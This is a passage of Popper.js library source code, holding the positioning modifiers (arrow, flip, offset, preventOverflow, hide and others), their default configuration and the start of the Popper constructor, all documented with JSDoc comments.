requesting = find(modifiers, function (_ref) {\n var name = _ref.name;\n return name === requestingName;\n });\n\n var isRequired = !!requesting && modifiers.some(function (modifier) {\n return modifier.name === requestedName && modifier.enabled && modifier.order < requesting.order;\n });\n\n if (!isRequired) {\n var _requesting = '`' + requestingName + '`';\n var requested = '`' + requestedName + '`';\n console.warn(requested + ' modifier is required by ' + _requesting + ' modifier in order to work, be sure to include it before ' + _requesting + '!');\n }\n return isRequired;\n}\n\n/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by update method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nfunction arrow(data, options) {\n var _data$offsets$arrow;\n\n // arrow depends on keepTogether in order to work\n if (!isModifierRequired(data.instance.modifiers, 'arrow', 'keepTogether')) {\n return data;\n }\n\n var arrowElement = options.element;\n\n // if arrowElement is a string, suppose it's a CSS selector\n if (typeof arrowElement === 'string') {\n arrowElement = data.instance.popper.querySelector(arrowElement);\n\n // if arrowElement is not found, don't run the modifier\n if (!arrowElement) {\n return data;\n }\n } else {\n // if the arrowElement isn't a query selector we must check that the\n // provided DOM node is child of its popper node\n if (!data.instance.popper.contains(arrowElement)) {\n console.warn('WARNING: `arrow.element` must be child of its popper element!');\n return data;\n }\n }\n\n var placement = data.placement.split('-')[0];\n var _data$offsets = data.offsets,\n popper = _data$offsets.popper,\n reference = _data$offsets.reference;\n\n var isVertical = ['left', 'right'].indexOf(placement) !== -1;\n\n var len = isVertical ? 'height' : 'width';\n var sideCapitalized = isVertical ? 'Top' : 'Left';\n var side = sideCapitalized.toLowerCase();\n var altSide = isVertical ? 'left' : 'top';\n var opSide = isVertical ? 'bottom' : 'right';\n var arrowElementSize = getOuterSizes(arrowElement)[len];\n\n //\n // extends keepTogether behavior making sure the popper and its\n // reference have enough pixels in conjuction\n //\n\n // top/left side\n if (reference[opSide] - arrowElementSize < popper[side]) {\n data.offsets.popper[side] -= popper[side] - (reference[opSide] - arrowElementSize);\n }\n // bottom/right side\n if (reference[side] + arrowElementSize > popper[opSide]) {\n data.offsets.popper[side] += reference[side] + arrowElementSize - popper[opSide];\n }\n data.offsets.popper = getClientRect(data.offsets.popper);\n\n // compute center of the popper\n var center = reference[side] + reference[len] / 2 - arrowElementSize / 2;\n\n // Compute the sideValue using the updated popper offsets\n // take popper margin in account because we don't have this info available\n var css = getStyleComputedProperty(data.instance.popper);\n var popperMarginSide = parseFloat(css['margin' + sideCapitalized], 10);\n var popperBorderSide = parseFloat(css['border' + sideCapitalized + 'Width'], 10);\n var sideValue = center - data.offsets.popper[side] - popperMarginSide - popperBorderSide;\n\n // prevent arrowElement from being placed not contiguously to its popper\n sideValue = Math.max(Math.min(popper[len] - arrowElementSize, sideValue), 0);\n\n data.arrowElement = arrowElement;\n data.offsets.arrow = (_data$offsets$arrow = {}, defineProperty(_data$offsets$arrow, side, Math.round(sideValue)), defineProperty(_data$offsets$arrow, altSide, ''), _data$offsets$arrow);\n\n return data;\n}\n\n/**\n * Get the opposite placement variation of the given one\n * @method\n * @memberof Popper.Utils\n * @argument {String} placement variation\n * @returns {String} flipped placement variation\n */\nfunction getOppositeVariation(variation) {\n if (variation === 'end') {\n return 'start';\n } else if (variation === 'start') {\n return 'end';\n }\n return variation;\n}\n\n/**\n * List of accepted placements to use as values of the `placement` option.<br />\n * Valid placements are:\n * - `auto`\n * - `top`\n * - `right`\n * - `bottom`\n * - `left`\n *\n * Each placement can have a variation from this list:\n * - `-start`\n * - `-end`\n *\n * Variations are interpreted easily if you think of them as the left to right\n * written languages. Horizontally (`top` and `bottom`), `start` is left and `end`\n * is right.<br />\n * Vertically (`left` and `right`), `start` is top and `end` is bottom.\n *\n * Some valid examples are:\n * - `top-end` (on top of reference, right aligned)\n * - `right-start` (on right of reference, top aligned)\n * - `bottom` (on bottom, centered)\n * - `auto-right` (on the side with more space available, alignment depends by placement)\n *\n * @static\n * @type {Array}\n * @enum {String}\n * @readonly\n * @method placements\n * @memberof Popper\n */\nvar placements = ['auto-start', 'auto', 'auto-end', 'top-start', 'top', 'top-end', 'right-start', 'right', 'right-end', 'bottom-end', 'bottom', 'bottom-start', 'left-end', 'left', 'left-start'];\n\n// Get rid of `auto` `auto-start` and `auto-end`\nvar validPlacements = placements.slice(3);\n\n/**\n * Given an initial placement, returns all the subsequent placements\n * clockwise (or counter-clockwise).\n *\n * @method\n * @memberof Popper.Utils\n * @argument {String} placement - A valid placement (it accepts variations)\n * @argument {Boolean} counter - Set to true to walk the placements counterclockwise\n * @returns {Array} placements including their variations\n */\nfunction clockwise(placement) {\n var counter = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : false;\n\n var index = validPlacements.indexOf(placement);\n var arr = validPlacements.slice(index + 1).concat(validPlacements.slice(0, index));\n return counter ? arr.reverse() : arr;\n}\n\nvar BEHAVIORS = {\n FLIP: 'flip',\n CLOCKWISE: 'clockwise',\n COUNTERCLOCKWISE: 'counterclockwise'\n};\n\n/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by update method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nfunction flip(data, options) {\n // if `inner` modifier is enabled, we can't use the `flip` modifier\n if (isModifierEnabled(data.instance.modifiers, 'inner')) {\n return data;\n }\n\n if (data.flipped && data.placement === data.originalPlacement) {\n // seems like flip is trying to loop, probably there's not enough space on any of the flippable sides\n return data;\n }\n\n var boundaries = getBoundaries(data.instance.popper, data.instance.reference, options.padding, options.boundariesElement, data.positionFixed);\n\n var placement = data.placement.split('-')[0];\n var placementOpposite = getOppositePlacement(placement);\n var variation = data.placement.split('-')[1] || '';\n\n var flipOrder = [];\n\n switch (options.behavior) {\n case BEHAVIORS.FLIP:\n flipOrder = [placement, placementOpposite];\n break;\n case BEHAVIORS.CLOCKWISE:\n flipOrder = clockwise(placement);\n break;\n case BEHAVIORS.COUNTERCLOCKWISE:\n flipOrder = clockwise(placement, true);\n break;\n default:\n flipOrder = options.behavior;\n }\n\n flipOrder.forEach(function (step, index) {\n if (placement !== step || flipOrder.length === index + 1) {\n return data;\n }\n\n placement = data.placement.split('-')[0];\n placementOpposite = getOppositePlacement(placement);\n\n var popperOffsets = data.offsets.popper;\n var refOffsets = data.offsets.reference;\n\n // using floor because the reference offsets may contain decimals we are not going to consider here\n var floor = Math.floor;\n var overlapsRef = placement === 'left' && floor(popperOffsets.right) > floor(refOffsets.left) || placement === 'right' && floor(popperOffsets.left) < floor(refOffsets.right) || placement === 'top' && floor(popperOffsets.bottom) > floor(refOffsets.top) || placement === 'bottom' && floor(popperOffsets.top) < floor(refOffsets.bottom);\n\n var overflowsLeft = floor(popperOffsets.left) < floor(boundaries.left);\n var overflowsRight = floor(popperOffsets.right) > floor(boundaries.right);\n var overflowsTop = floor(popperOffsets.top) < floor(boundaries.top);\n var overflowsBottom = floor(popperOffsets.bottom) > floor(boundaries.bottom);\n\n var overflowsBoundaries = placement === 'left' && overflowsLeft || placement === 'right' && overflowsRight || placement === 'top' && overflowsTop || placement === 'bottom' && overflowsBottom;\n\n // flip the variation if required\n var isVertical = ['top', 'bottom'].indexOf(placement) !== -1;\n var flippedVariation = !!options.flipVariations && (isVertical && variation === 'start' && overflowsLeft || isVertical && variation === 'end' && overflowsRight || !isVertical && variation === 'start' && overflowsTop || !isVertical && variation === 'end' && overflowsBottom);\n\n if (overlapsRef || overflowsBoundaries || flippedVariation) {\n // this boolean to detect any flip loop\n data.flipped = true;\n\n if (overlapsRef || overflowsBoundaries) {\n placement = flipOrder[index + 1];\n }\n\n if (flippedVariation) {\n variation = getOppositeVariation(variation);\n }\n\n data.placement = placement + (variation ? '-' + variation : '');\n\n // this object contains `position`, we want to preserve it along with\n // any additional property we may add in the future\n data.offsets.popper = _extends({}, data.offsets.popper, getPopperOffsets(data.instance.popper, data.offsets.reference, data.placement));\n\n data = runModifiers(data.instance.modifiers, data, 'flip');\n }\n });\n return data;\n}\n\n/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by update method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nfunction keepTogether(data) {\n var _data$offsets = data.offsets,\n popper = _data$offsets.popper,\n reference = _data$offsets.reference;\n\n var placement = data.placement.split('-')[0];\n var floor = Math.floor;\n var isVertical = ['top', 'bottom'].indexOf(placement) !== -1;\n var side = isVertical ? 'right' : 'bottom';\n var opSide = isVertical ? 'left' : 'top';\n var measurement = isVertical ? 'width' : 'height';\n\n if (popper[side] < floor(reference[opSide])) {\n data.offsets.popper[opSide] = floor(reference[opSide]) - popper[measurement];\n }\n if (popper[opSide] > floor(reference[side])) {\n data.offsets.popper[opSide] = floor(reference[side]);\n }\n\n return data;\n}\n\n/**\n * Converts a string containing value + unit into a px value number\n * @function\n * @memberof {modifiers~offset}\n * @private\n * @argument {String} str - Value + unit string\n * @argument {String} measurement - `height` or `width`\n * @argument {Object} popperOffsets\n * @argument {Object} referenceOffsets\n * @returns {Number|String}\n * Value in pixels, or original string if no values were extracted\n */\nfunction toValue(str, measurement, popperOffsets, referenceOffsets) {\n // separate value from unit\n var split = str.match(/((?:\\-|\\+)?\\d*\\.?\\d*)(.*)/);\n var value = +split[1];\n var unit = split[2];\n\n // If it's not a number it's an operator, I guess\n if (!value) {\n return str;\n }\n\n if (unit.indexOf('%') === 0) {\n var element = void 0;\n switch (unit) {\n case '%p':\n element = popperOffsets;\n break;\n case '%':\n case '%r':\n default:\n element = referenceOffsets;\n }\n\n var rect = getClientRect(element);\n return rect[measurement] / 100 * value;\n } else if (unit === 'vh' || unit === 'vw') {\n // if is a vh or vw, we calculate the size based on the viewport\n var size = void 0;\n if (unit === 'vh') {\n size = Math.max(document.documentElement.clientHeight, window.innerHeight || 0);\n } else {\n size = Math.max(document.documentElement.clientWidth, window.innerWidth || 0);\n }\n return size / 100 * value;\n } else {\n // if is an explicit pixel unit, we get rid of the unit and keep the value\n // if is an implicit unit, it's px, and we return just the value\n return value;\n }\n}\n\n/**\n * Parse an `offset` string to extrapolate `x` and `y` numeric offsets.\n * @function\n * @memberof {modifiers~offset}\n * @private\n * @argument {String} offset\n * @argument {Object} popperOffsets\n * @argument {Object} referenceOffsets\n * @argument {String} basePlacement\n * @returns {Array} a two cells array with x and y offsets in numbers\n */\nfunction parseOffset(offset, popperOffsets, referenceOffsets, basePlacement) {\n var offsets = [0, 0];\n\n // Use height if placement is left or right and index is 0 otherwise use width\n // in this way the first offset will use an axis and the second one\n // will use the other one\n var useHeight = ['right', 'left'].indexOf(basePlacement) !== -1;\n\n // Split the offset string to obtain a list of values and operands\n // The regex addresses values with the plus or minus sign in front (+10, -20, etc)\n var fragments = offset.split(/(\\+|\\-)/).map(function (frag) {\n return frag.trim();\n });\n\n // Detect if the offset string contains a pair of values or a single one\n // they could be separated by comma or space\n var divider = fragments.indexOf(find(fragments, function (frag) {\n return frag.search(/,|\\s/) !== -1;\n }));\n\n if (fragments[divider] && fragments[divider].indexOf(',') === -1) {\n console.warn('Offsets separated by white space(s) are deprecated, use a comma (,) instead.');\n }\n\n // If divider is found, we divide the list of values and operands to divide\n // them by ofset X and Y.\n var splitRegex = /\\s*,\\s*|\\s+/;\n var ops = divider !== -1 ? [fragments.slice(0, divider).concat([fragments[divider].split(splitRegex)[0]]), [fragments[divider].split(splitRegex)[1]].concat(fragments.slice(divider + 1))] : [fragments];\n\n // Convert the values with units to absolute pixels to allow our computations\n ops = ops.map(function (op, index) {\n // Most of the units rely on the orientation of the popper\n var measurement = (index === 1 ? !useHeight : useHeight) ? 'height' : 'width';\n var mergeWithPrevious = false;\n return op\n // This aggregates any `+` or `-` sign that aren't considered operators\n // e.g.: 10 + +5 => [10, +, +5]\n .reduce(function (a, b) {\n if (a[a.length - 1] === '' && ['+', '-'].indexOf(b) !== -1) {\n a[a.length - 1] = b;\n mergeWithPrevious = true;\n return a;\n } else if (mergeWithPrevious) {\n a[a.length - 1] += b;\n mergeWithPrevious = false;\n return a;\n } else {\n return a.concat(b);\n }\n }, [])\n // Here we convert the string values into number values (in px)\n .map(function (str) {\n return toValue(str, measurement, popperOffsets, referenceOffsets);\n });\n });\n\n // Loop trough the offsets arrays and execute the operations\n ops.forEach(function (op, index) {\n op.forEach(function (frag, index2) {\n if (isNumeric(frag)) {\n offsets[index] += frag * (op[index2 - 1] === '-' ? -1 : 1);\n }\n });\n });\n return offsets;\n}\n\n/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by update method\n * @argument {Object} options - Modifiers configuration and options\n * @argument {Number|String} options.offset=0\n * The offset value as described in the modifier description\n * @returns {Object} The data object, properly modified\n */\nfunction offset(data, _ref) {\n var offset = _ref.offset;\n var placement = data.placement,\n _data$offsets = data.offsets,\n popper = _data$offsets.popper,\n reference = _data$offsets.reference;\n\n var basePlacement = placement.split('-')[0];\n\n var offsets = void 0;\n if (isNumeric(+offset)) {\n offsets = [+offset, 0];\n } else {\n offsets = parseOffset(offset, popper, reference, basePlacement);\n }\n\n if (basePlacement === 'left') {\n popper.top += offsets[0];\n popper.left -= offsets[1];\n } else if (basePlacement === 'right') {\n popper.top += offsets[0];\n popper.left += offsets[1];\n } else if (basePlacement === 'top') {\n popper.left += offsets[0];\n popper.top -= offsets[1];\n } else if (basePlacement === 'bottom') {\n popper.left += offsets[0];\n popper.top += offsets[1];\n }\n\n data.popper = popper;\n return data;\n}\n\n/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by `update` method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nfunction preventOverflow(data, options) {\n var boundariesElement = options.boundariesElement || getOffsetParent(data.instance.popper);\n\n // If offsetParent is the reference element, we really want to\n // go one step up and use the next offsetParent as reference to\n // avoid to make this modifier completely useless and look like broken\n if (data.instance.reference === boundariesElement) {\n boundariesElement = getOffsetParent(boundariesElement);\n }\n\n var boundaries = getBoundaries(data.instance.popper, data.instance.reference, options.padding, boundariesElement, data.positionFixed);\n options.boundaries = boundaries;\n\n var order = options.priority;\n var popper = data.offsets.popper;\n\n var check = {\n primary: function primary(placement) {\n var value = popper[placement];\n if (popper[placement] < boundaries[placement] && !options.escapeWithReference) {\n value = Math.max(popper[placement], boundaries[placement]);\n }\n return defineProperty({}, placement, value);\n },\n secondary: function secondary(placement) {\n var mainSide = placement === 'right' ? 'left' : 'top';\n var value = popper[mainSide];\n if (popper[placement] > boundaries[placement] && !options.escapeWithReference) {\n value = Math.min(popper[mainSide], boundaries[placement] - (placement === 'right' ? popper.width : popper.height));\n }\n return defineProperty({}, mainSide, value);\n }\n };\n\n order.forEach(function (placement) {\n var side = ['left', 'top'].indexOf(placement) !== -1 ? 'primary' : 'secondary';\n popper = _extends({}, popper, check[side](placement));\n });\n\n data.offsets.popper = popper;\n\n return data;\n}\n\n/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by `update` method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nfunction shift(data) {\n var placement = data.placement;\n var basePlacement = placement.split('-')[0];\n var shiftvariation = placement.split('-')[1];\n\n // if shift shiftvariation is specified, run the modifier\n if (shiftvariation) {\n var _data$offsets = data.offsets,\n reference = _data$offsets.reference,\n popper = _data$offsets.popper;\n\n var isVertical = ['bottom', 'top'].indexOf(basePlacement) !== -1;\n var side = isVertical ? 'left' : 'top';\n var measurement = isVertical ? 'width' : 'height';\n\n var shiftOffsets = {\n start: defineProperty({}, side, reference[side]),\n end: defineProperty({}, side, reference[side] + reference[measurement] - popper[measurement])\n };\n\n data.offsets.popper = _extends({}, popper, shiftOffsets[shiftvariation]);\n }\n\n return data;\n}\n\n/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by update method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nfunction hide(data) {\n if (!isModifierRequired(data.instance.modifiers, 'hide', 'preventOverflow')) {\n return data;\n }\n\n var refRect = data.offsets.reference;\n var bound = find(data.instance.modifiers, function (modifier) {\n return modifier.name === 'preventOverflow';\n }).boundaries;\n\n if (refRect.bottom < bound.top || refRect.left > bound.right || refRect.top > bound.bottom || refRect.right < bound.left) {\n // Avoid unnecessary DOM access if visibility hasn't changed\n if (data.hide === true) {\n return data;\n }\n\n data.hide = true;\n data.attributes['x-out-of-boundaries'] = '';\n } else {\n // Avoid unnecessary DOM access if visibility hasn't changed\n if (data.hide === false) {\n return data;\n }\n\n data.hide = false;\n data.attributes['x-out-of-boundaries'] = false;\n }\n\n return data;\n}\n\n/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by `update` method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nfunction inner(data) {\n var placement = data.placement;\n var basePlacement = placement.split('-')[0];\n var _data$offsets = data.offsets,\n popper = _data$offsets.popper,\n reference = _data$offsets.reference;\n\n var isHoriz = ['left', 'right'].indexOf(basePlacement) !== -1;\n\n var subtractLength = ['top', 'left'].indexOf(basePlacement) === -1;\n\n popper[isHoriz ? 'left' : 'top'] = reference[basePlacement] - (subtractLength ? popper[isHoriz ? 'width' : 'height'] : 0);\n\n data.placement = getOppositePlacement(placement);\n data.offsets.popper = getClientRect(popper);\n\n return data;\n}\n\n/**\n * Modifier function, each modifier can have a function of this type assigned\n * to its `fn` property.<br />\n * These functions will be called on each update, this means that you must\n * make sure they are performant enough to avoid performance bottlenecks.\n *\n * @function ModifierFn\n * @argument {dataObject} data - The data object generated by `update` method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {dataObject} The data object, properly modified\n */\n\n/**\n * Modifiers are plugins used to alter the behavior of your poppers.<br />\n * Popper.js uses a set of 9 modifiers to provide all the basic functionalities\n * needed by the library.\n *\n * Usually you don't want to override the `order`, `fn` and `onLoad` props.\n * All the other properties are configurations that could be tweaked.\n * @namespace modifiers\n */\nvar modifiers = {\n /**\n * Modifier used to shift the popper on the start or end of its reference\n * element.<br />\n * It will read the variation of the `placement` property.<br />\n * It can be one either `-end` or `-start`.\n * @memberof modifiers\n * @inner\n */\n shift: {\n /** @prop {number} order=100 - Index used to define the order of execution */\n order: 100,\n /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */\n enabled: true,\n /** @prop {ModifierFn} */\n fn: shift\n },\n\n /**\n * The `offset` modifier can shift your popper on both its axis.\n *\n * It accepts the following units:\n * - `px` or unitless, interpreted as pixels\n * - `%` or `%r`, percentage relative to the length of the reference element\n * - `%p`, percentage relative to the length of the popper element\n * - `vw`, CSS viewport width unit\n * - `vh`, CSS viewport height unit\n *\n * For length is intended the main axis relative to the placement of the popper.<br />\n * This means that if the placement is `top` or `bottom`, the length will be the\n * `width`. In case of `left` or `right`, it will be the height.\n *\n * You can provide a single value (as `Number` or `String`), or a pair of values\n * as `String` divided by a comma or one (or more) white spaces.<br />\n * The latter is a deprecated method because it leads to confusion and will be\n * removed in v2.<br />\n * Additionally, it accepts additions and subtractions between different units.\n * Note that multiplications and divisions aren't supported.\n *\n * Valid examples are:\n * ```\n * 10\n * '10%'\n * '10, 10'\n * '10%, 10'\n * '10 + 10%'\n * '10 - 5vh + 3%'\n * '-10px + 5vh, 5px - 6%'\n * ```\n * > **NB**: If you desire to apply offsets to your poppers in a way that may make them overlap\n * > with their reference element, unfortunately, you will have to disable the `flip` modifier.\n * > More on this [reading this issue](https://github.com/FezVrasta/popper.js/issues/373)\n *\n * @memberof modifiers\n * @inner\n */\n offset: {\n /** @prop {number} order=200 - Index used to define the order of execution */\n order: 200,\n /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */\n enabled: true,\n /** @prop {ModifierFn} */\n fn: offset,\n /** @prop {Number|String} offset=0\n * The offset value as described in the modifier description\n */\n offset: 0\n },\n\n /**\n * Modifier used to prevent the popper from being positioned outside the boundary.\n *\n * An scenario exists where the reference itself is not within the boundaries.<br />\n * We can say it has \"escaped the boundaries\" — or just \"escaped\".<br />\n * In this case we need to decide whether the popper should either:\n *\n * - detach from the reference and remain \"trapped\" in the boundaries, or\n * - if it should ignore the boundary and \"escape with its reference\"\n *\n * When `escapeWithReference` is set to`true` and reference is completely\n * outside its boundaries, the popper will overflow (or completely leave)\n * the boundaries in order to remain attached to the edge of the reference.\n *\n * @memberof modifiers\n * @inner\n */\n preventOverflow: {\n /** @prop {number} order=300 - Index used to define the order of execution */\n order: 300,\n /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */\n enabled: true,\n /** @prop {ModifierFn} */\n fn: preventOverflow,\n /**\n * @prop {Array} [priority=['left','right','top','bottom']]\n * Popper will try to prevent overflow following these priorities by default,\n * then, it could overflow on the left and on top of the `boundariesElement`\n */\n priority: ['left', 'right', 'top', 'bottom'],\n /**\n * @prop {number} padding=5\n * Amount of pixel used to define a minimum distance between the boundaries\n * and the popper this makes sure the popper has always a little padding\n * between the edges of its container\n */\n padding: 5,\n /**\n * @prop {String|HTMLElement} boundariesElement='scrollParent'\n * Boundaries used by the modifier, can be `scrollParent`, `window`,\n * `viewport` or any DOM element.\n */\n boundariesElement: 'scrollParent'\n },\n\n /**\n * Modifier used to make sure the reference and its popper stay near eachothers\n * without leaving any gap between the two. Expecially useful when the arrow is\n * enabled and you want to assure it to point to its reference element.\n * It cares only about the first axis, you can still have poppers with margin\n * between the popper and its reference element.\n * @memberof modifiers\n * @inner\n */\n keepTogether: {\n /** @prop {number} order=400 - Index used to define the order of execution */\n order: 400,\n /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */\n enabled: true,\n /** @prop {ModifierFn} */\n fn: keepTogether\n },\n\n /**\n * This modifier is used to move the `arrowElement` of the popper to make\n * sure it is positioned between the reference element and its popper element.\n * It will read the outer size of the `arrowElement` node to detect how many\n * pixels of conjuction are needed.\n *\n * It has no effect if no `arrowElement` is provided.\n * @memberof modifiers\n * @inner\n */\n arrow: {\n /** @prop {number} order=500 - Index used to define the order of execution */\n order: 500,\n /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */\n enabled: true,\n /** @prop {ModifierFn} */\n fn: arrow,\n /** @prop {String|HTMLElement} element='[x-arrow]' - Selector or node used as arrow */\n element: '[x-arrow]'\n },\n\n /**\n * Modifier used to flip the popper's placement when it starts to overlap its\n * reference element.\n *\n * Requires the `preventOverflow` modifier before it in order to work.\n *\n * **NOTE:** this modifier will interrupt the current update cycle and will\n * restart it if it detects the need to flip the placement.\n * @memberof modifiers\n * @inner\n */\n flip: {\n /** @prop {number} order=600 - Index used to define the order of execution */\n order: 600,\n /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */\n enabled: true,\n /** @prop {ModifierFn} */\n fn: flip,\n /**\n * @prop {String|Array} behavior='flip'\n * The behavior used to change the popper's placement. It can be one of\n * `flip`, `clockwise`, `counterclockwise` or an array with a list of valid\n * placements (with optional variations).\n */\n behavior: 'flip',\n /**\n * @prop {number} padding=5\n * The popper will flip if it hits the edges of the `boundariesElement`\n */\n padding: 5,\n /**\n * @prop {String|HTMLElement} boundariesElement='viewport'\n * The element which will define the boundaries of the popper position,\n * the popper will never be placed outside of the defined boundaries\n * (except if keepTogether is enabled)\n */\n boundariesElement: 'viewport'\n },\n\n /**\n * Modifier used to make the popper flow toward the inner of the reference element.\n * By default, when this modifier is disabled, the popper will be placed outside\n * the reference element.\n * @memberof modifiers\n * @inner\n */\n inner: {\n /** @prop {number} order=700 - Index used to define the order of execution */\n order: 700,\n /** @prop {Boolean} enabled=false - Whether the modifier is enabled or not */\n enabled: false,\n /** @prop {ModifierFn} */\n fn: inner\n },\n\n /**\n * Modifier used to hide the popper when its reference element is outside of the\n * popper boundaries. It will set a `x-out-of-boundaries` attribute which can\n * be used to hide with a CSS selector the popper when its reference is\n * out of boundaries.\n *\n * Requires the `preventOverflow` modifier before it in order to work.\n * @memberof modifiers\n * @inner\n */\n hide: {\n /** @prop {number} order=800 - Index used to define the order of execution */\n order: 800,\n /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */\n enabled: true,\n /** @prop {ModifierFn} */\n fn: hide\n },\n\n /**\n * Computes the style that will be applied to the popper element to gets\n * properly positioned.\n *\n * Note that this modifier will not touch the DOM, it just prepares the styles\n * so that `applyStyle` modifier can apply it. This separation is useful\n * in case you need to replace `applyStyle` with a custom implementation.\n *\n * This modifier has `850` as `order` value to maintain backward compatibility\n * with previous versions of Popper.js. Expect the modifiers ordering method\n * to change in future major versions of the library.\n *\n * @memberof modifiers\n * @inner\n */\n computeStyle: {\n /** @prop {number} order=850 - Index used to define the order of execution */\n order: 850,\n /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */\n enabled: true,\n /** @prop {ModifierFn} */\n fn: computeStyle,\n /**\n * @prop {Boolean} gpuAcceleration=true\n * If true, it uses the CSS 3d transformation to position the popper.\n * Otherwise, it will use the `top` and `left` properties.\n */\n gpuAcceleration: true,\n /**\n * @prop {string} [x='bottom']\n * Where to anchor the X axis (`bottom` or `top`). AKA X offset origin.\n * Change this if your popper should grow in a direction different from `bottom`\n */\n x: 'bottom',\n /**\n * @prop {string} [x='left']\n * Where to anchor the Y axis (`left` or `right`). AKA Y offset origin.\n * Change this if your popper should grow in a direction different from `right`\n */\n y: 'right'\n },\n\n /**\n * Applies the computed styles to the popper element.\n *\n * All the DOM manipulations are limited to this modifier. This is useful in case\n * you want to integrate Popper.js inside a framework or view library and you\n * want to delegate all the DOM manipulations to it.\n *\n * Note that if you disable this modifier, you must make sure the popper element\n * has its position set to `absolute` before Popper.js can do its work!\n *\n * Just disable this modifier and define you own to achieve the desired effect.\n *\n * @memberof modifiers\n * @inner\n */\n applyStyle: {\n /** @prop {number} order=900 - Index used to define the order of execution */\n order: 900,\n /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */\n enabled: true,\n /** @prop {ModifierFn} */\n fn: applyStyle,\n /** @prop {Function} */\n onLoad: applyStyleOnLoad,\n /**\n * @deprecated since version 1.10.0, the property moved to `computeStyle` modifier\n * @prop {Boolean} gpuAcceleration=true\n * If true, it uses the CSS 3d transformation to position the popper.\n * Otherwise, it will use the `top` and `left` properties.\n */\n gpuAcceleration: undefined\n }\n};\n\n/**\n * The `dataObject` is an object containing all the informations used by Popper.js\n * this object get passed to modifiers and to the `onCreate` and `onUpdate` callbacks.\n * @name dataObject\n * @property {Object} data.instance The Popper.js instance\n * @property {String} data.placement Placement applied to popper\n * @property {String} data.originalPlacement Placement originally defined on init\n * @property {Boolean} data.flipped True if popper has been flipped by flip modifier\n * @property {Boolean} data.hide True if the reference element is out of boundaries, useful to know when to hide the popper.\n * @property {HTMLElement} data.arrowElement Node used as arrow by arrow modifier\n * @property {Object} data.styles Any CSS property defined here will be applied to the popper, it expects the JavaScript nomenclature (eg. `marginBottom`)\n * @property {Object} data.arrowStyles Any CSS property defined here will be applied to the popper arrow, it expects the JavaScript nomenclature (eg. `marginBottom`)\n * @property {Object} data.boundaries Offsets of the popper boundaries\n * @property {Object} data.offsets The measurements of popper, reference and arrow elements.\n * @property {Object} data.offsets.popper `top`, `left`, `width`, `height` values\n * @property {Object} data.offsets.reference `top`, `left`, `width`, `height` values\n * @property {Object} data.offsets.arrow] `top` and `left` offsets, only one of them will be different from 0\n */\n\n/**\n * Default options provided to Popper.js constructor.<br />\n * These can be overriden using the `options` argument of Popper.js.<br />\n * To override an option, simply pass as 3rd argument an object with the same\n * structure of this object, example:\n * ```\n * new Popper(ref, pop, {\n * modifiers: {\n * preventOverflow: { enabled: false }\n * }\n * })\n * ```\n * @type {Object}\n * @static\n * @memberof Popper\n */\nvar Defaults = {\n /**\n * Popper's placement\n * @prop {Popper.placements} placement='bottom'\n */\n placement: 'bottom',\n\n /**\n * Set this to true if you want popper to position it self in 'fixed' mode\n * @prop {Boolean} positionFixed=false\n */\n positionFixed: false,\n\n /**\n * Whether events (resize, scroll) are initially enabled\n * @prop {Boolean} eventsEnabled=true\n */\n eventsEnabled: true,\n\n /**\n * Set to true if you want to automatically remove the popper when\n * you call the `destroy` method.\n * @prop {Boolean} removeOnDestroy=false\n */\n removeOnDestroy: false,\n\n /**\n * Callback called when the popper is created.<br />\n * By default, is set to no-op.<br />\n * Access Popper.js instance with `data.instance`.\n * @prop {onCreate}\n */\n onCreate: function onCreate() {},\n\n /**\n * Callback called when the popper is updated, this callback is not called\n * on the initialization/creation of the popper, but only on subsequent\n * updates.<br />\n * By default, is set to no-op.<br />\n * Access Popper.js instance with `data.instance`.\n * @prop {onUpdate}\n */\n onUpdate: function onUpdate() {},\n\n /**\n * List of modifiers used to modify the offsets before they are applied to the popper.\n * They provide most of the functionalities of Popper.js\n * @prop {modifiers}\n */\n modifiers: modifiers\n};\n\n/**\n * @callback onCreate\n * @param {dataObject} data\n */\n\n/**\n * @callback onUpdate\n * @param {dataObject} data\n */\n\n// Utils\n// Methods\nvar Popper = function () {\n /**\n * Create a new Popper.js instance\n * @class Popper\n * @param {HTMLElement|referenceObject} reference - The reference element used to position the popper\n * @param {HTMLElement} popper - The HTML element used as popper.\n * @param {Object} options - Your custom options to override the ones defined in [Defaults](#defaults)\n * @return {Object} instance - The generated Popper.js instance\n */\n function Popper(reference, popper) {\n var _this = this;\n\n var options = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : {};\n classCallCheck(this, Popper);\n\n this.scheduleUpdate = function () {\n return requestAnimationFrame(_this.update);\n };\n\n // make update() debounced, so that it only runs at most once-per-tick\n this.update = debounce(this.update.bind(this));\n\n // with {} we create a new object with the options inside it\n this.options = _extends({}, Popper.Defaults, options);\n\n // init state\n this.state = {\n isDestroyed: false,\n isCreated: false,\n scrollParents: []\n };\n\n // get reference and popper elements (allow jQuery wrappers)\n this.reference = reference && reference.jquery 